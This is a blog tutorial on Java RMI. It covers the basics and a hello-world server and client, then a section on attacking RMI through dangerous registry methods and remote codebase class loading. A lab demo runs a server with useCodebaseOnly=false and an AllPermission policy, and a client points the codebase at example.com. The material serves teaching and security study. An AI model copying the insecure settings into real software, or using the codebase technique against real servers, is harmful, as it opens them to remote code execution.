初识RMI

发布时间 2023-03-26 17:43:54作者: _rainyday

1. What is RMI?

Remote Method Invocation (RMI) Much like RPC, it is a mechanism implemented independently by java. This is essentially calling methods from one JVM on an object in another JVM.

RMI relies on the communication Protocol JRMP(Java Remote Message Protocol), which is customized for Java and requires both server and client to be written in Java. This protocol, like the HTTP protocol, specifies the specifications that the client and server should meet when they communicate.

2. Why we use RMI?

RMI, or Remote Method Invocation, is a Java-based technology that enables developers to build distributed applications in which objects running in one Java Virtual Machine (JVM) can invoke methods on objects running in another JVM, thereby enabling distributed communication and computation.

RMI is used for a variety of reasons, including:

  1. Distributed computing: RMI allows developers to build distributed applications that can perform computation and data processing on multiple machines, thereby increasing the overall computing power of the system.
  2. Client-server architecture: RMI can be used to build client-server applications, where the server provides services to multiple clients over the network.
  3. Object-oriented programming: RMI is based on the principles of object-oriented programming, allowing developers to create objects and invoke their methods across different JVMs.
  4. Scalability: RMI allows developers to scale their applications by adding more servers to handle increased traffic or workload.
  5. Security: RMI provides security features that allow developers to secure their applications against unauthorized access and ensure data privacy.

Overall, RMI is a powerful technology that enables developers to build distributed applications that are scalable, secure, and efficient.

3. How to use RMI?

How to write a demo to accomplish the simple RMI implementation?
There are three tasks to complete in this section:

  1. Define the functions of the remote class as an interface written in the Java programming language
  2. Write the implementation and server classes
  3. Write a client program that uses the remote service

1.define the remote interface

define the remote interface,it must satisfy these demand

  • The remote interface must be declared **public**.
  • The remote interface extends the java.rmi.Remote interface.
  • Each method must declare java.rmi.RemoteException (or a superclass of RemoteException) in its throws clause.
  • The data type of any remote object that is passed **as an argument or return value **(either directly or embedded within a local object) must be declared as the remote interface type (for example, Hello) not the implementation class (HelloImpl).

Here is the interface definition for the remote interface, com.cc.IRemoteHelloWorld. The interface contains just one method, hello, which returns a string to the caller:

//1.远程接口
public interface IRemoteHelloWorld extends Remote {
    public String hello(String a) throws RemoteException;
}

2.Write the implementation and server classes

At a minimum, a remote object implementation class must:

The server program needs to:

A security manager needs to be running so that it can guarantee that the classes that get loaded do not perform operations that they are not allowed to perform. If no security manager is specified no class loading, by RMI clients or servers, is allowed, aside from what can be found in the local CLASSPATH.

//2.远程接口实现类
public class RemoteHelloWorld extends UnicastRemoteObject implements IRemoteHelloWorld {
    private static final long serialVersionUID = 3994188957756125383L;

    protected RemoteHelloWorld() throws RemoteException {
        super();
        System.out.println("调用构造函数");
    }

    public String hello(String a) throws RemoteException {
        System.out.println("call from");
        return "Hello world";
    }
}
//3,注册远程对象
private void start() throws Exception {
    //远程对象实例
    RemoteHelloWorld h = new RemoteHelloWorld();
    //创建注册中心
    LocateRegistry.createRegistry(1099);
    //绑定对象实例到注册中心
    Naming.rebind("//127.0.0.1/Hello", h);
}
public static void main(String[] args)throws Exception{
    new RMIServer().start();
}

3.Write a client program that uses the remote service

  • Find the remote object binded via Naming.lookup from Registry
  • invoke the remote objective method
RMIServer.IRemoteHelloWorld hello = (RMIServer.IRemoteHelloWorld) Naming.lookup("rmi://10.1.1.1:1099/Hello");
String ret = hello.hello("hello world");
System.out.println(ret);

Diagram of RMI

image.png

  1. Server make a Registry and binds a instance of object to URL:rmi://127.0.0.1/Hello
  2. TCP 1: Client sent “Call”message(ask objective insatnce and invoke its method)
  3. Server response“ReturnData”(the serialized instance)
  4. TCP 2,The Client deserializes the "ReturnData" and invokes the remote object's methods

4. How to attack RMI?

What can we input?
in the step 1 ,there is a Call message
Call message“ :

  1. Local loading-detect** **dangerous method

int the step 4,we send serialized _ReturnData _to server to dynamic load class.
" ReturnData ":

  1. Remotely loading-Codebase

1. **Local loading-detect **dangerous method

if Registry use** Local loading** to get some evil classes,it maybe vulnerable.

we can use list() to list all the class bindings and lookup()to invoke the methods,if there are some "evil" instances of class that could RCE.We can use the class to invoke it.
One of function the BaRMIe has is to detect dangeros method of class.

2. Remotely loading-Codebase

Formerly, Java can run in a browser,use lable called "Applet",one property of it is codebase.point to a bytecode address(HelloWorld.class).It could remotely loading bytecode.

<applet code="HelloWorld.class" codebase="Applets" width="800" height="600">
</applet>

RMI also exist this scene,refer to codebase property.

codebase is a address,telling the JVM where to seek classes, it is similar to CLASSPATH, _CLASSPATH _is local path,but codebase generally is Remote URL,such as http、ftp.

If we assign codebase=http://example.com/,then load org.vulhub.example.Example class. Then JVM will download http://example.com/org/vulhub/example/Example.class,as the codebyte of Example class.
In RMI, we could send codebase in _ReturnData(step 4),_server will find class in CLASSPATH and codebase after receive this serialized data,because codebase is controlled,we can finish dynamic load arbitrary codebyte.
Of course,it must satify some condition.The RMI will be vulnerable

  • deploy SecurityManager
  • JDK version < 7u21、6u45,Or set java.rmi.server.useCodebaseOnly=false

In JDK 7u21、6u45 java.rmi.server.useCodebaseOnlywas modified from false => true.
In this way, JVM only trust preconfigured codebase.No longer support acuquire from RMI request.

  • a simple codebase demo
// ICalc.java
import java.rmi.Remote;
import java.rmi.RemoteException;
import java.util.List;
public interface ICalc extends Remote {
  public Integer sum(List<Integer> params) throws RemoteException;
}

// Calc.java
import java.rmi.Remote;
import java.rmi.RemoteException;
import java.util.List;
import java.rmi.server.UnicastRemoteObject;
public class Calc extends UnicastRemoteObject implements ICalc {
    public Calc() throws RemoteException {}
    public Integer sum(List<Integer> params) throws RemoteException {
      Integer sum = 0;
      for (Integer param : params) {
        sum += param;
     }
      return sum;
   }
}

// RemoteRMIServer.java
import java.rmi.Naming;
import java.rmi.Remote;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.server.UnicastRemoteObject;
import java.util.List;
public class RemoteRMIServer {
  private void start() throws Exception {
    if (System.getSecurityManager() == null) {
      System.out.println("setup SecurityManager");
      System.setSecurityManager(new SecurityManager());
   }
    Calc h = new Calc();
    LocateRegistry.createRegistry(1099);
          Naming.rebind("refObj", h);
 }
  public static void main(String[] args) throws Exception {
    new RemoteRMIServer().start();
 }
}

// client.policy
grant {
  permission java.security.AllPermission;
};

RUN:

javac *.java
java -Djava.rmi.server.hostname=192.168.135.142 -Djava.rmi.server.useCodebaseOnly=false -Djava.security.policy=client.policy
RemoteRMIServer

java.rmi.server.hostname is server's IP,You need to access RMIServer based on this value when you call it remotely.
RMIClient.java:

import java.rmi.Naming;
import java.util.List;
import java.util.ArrayList;
import java.io.Serializable;
public class RMIClient implements Serializable {
  public class Payload extends ArrayList<Integer> {}
  public void lookup() throws Exception {
    ICalc r = (ICalc)
Naming.lookup("rmi://192.168.135.142:1099/refObj");
    List<Integer> li = new Payload();
    li.add(3);
    li.add(4);
    System.out.println(r.sum(li));
 }
  public static void main(String[] args) throws Exception {
    new RMIClient().lookup();
 }
}

Note:this Cilent we must run in other place,because we need to let RMI Server couldn't find class in CLASSPATH, it will load classes in codebase,so we could not put the RMIClient.java at directory of RMI Server.
run RMIClient:

java -Djava.rmi.server.useCodebaseOnly=false -Djava.rmi.server.codebase=http://example.com/ RMIClient